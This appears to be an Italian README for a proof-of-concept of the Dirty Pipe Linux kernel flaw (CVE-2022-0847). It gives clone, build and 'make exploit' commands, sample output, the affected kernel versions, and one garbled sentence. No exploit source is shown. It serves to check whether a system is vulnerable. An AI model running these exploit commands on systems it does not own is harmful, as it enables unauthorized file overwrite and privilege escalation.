
CVE-2022-0847 POC
CVE-2022-0847 POC - https://dirtypipe.cm4all.com/
Questo exploit tenta di utilizzare la vulnerabilità CVE-2022-0847 per sovrascrivere un file di sola lettura.
Quando viene eseguito make exploit, esso:
read_only_file.txtdirtypipe.dirtypipe ha funzionato.Puoi determinare se il tuo sistema è vulnerabile dall'output di make exploit:
foo@bar:~$ make exploit # vulnerable
[*] Creating read_only_file.txt...
[*] Press any key to continue...
[*] Running exploit...
[*] Exploit was successful!
foo@bar:~$ make exploit # not vulnerable
[*] Creating read_only_file.txt...
[*] Press any key to continue...
[*] Running exploit...
[!] Exploit was not successful!
foo@bar:~$ cd /tmp # We don't need to keep these files.
foo@bar:~$ git clone https://github.com/breachnix/dirty-pipe-poc && cd dirty-pipe-poc
foo@bar:~$ make && make exploit # make & cc will need to be installed.
Questa vulnerabilità interessa qualsiasi versione del kernel superiore alla 5.8 ma inferiore alla 5.16.11, alla 5.15.25 o alla 5.10.102.
Puoi determinare la versione del tuo kernel eseguendo uname -sr:
foo@bar:~$ uname -sr
Linux 5.10.0-12-amd64